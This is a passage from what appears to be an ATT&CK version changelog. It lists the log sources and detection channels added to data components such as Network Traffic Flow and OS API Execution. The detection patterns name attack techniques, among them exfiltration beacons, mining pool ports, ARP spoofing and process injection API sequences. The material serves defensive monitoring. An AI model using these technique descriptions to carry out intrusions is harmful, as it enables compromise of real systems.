'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:16.672000+00:00	2025-10-21 15:14:34.343000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0078] Network Traffic Flow

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:20.168000+00:00	2025-10-21 15:14:34.703000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0021] OS API Execution

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock\|NSDistributedLock\|FileHandle.lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A\|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing 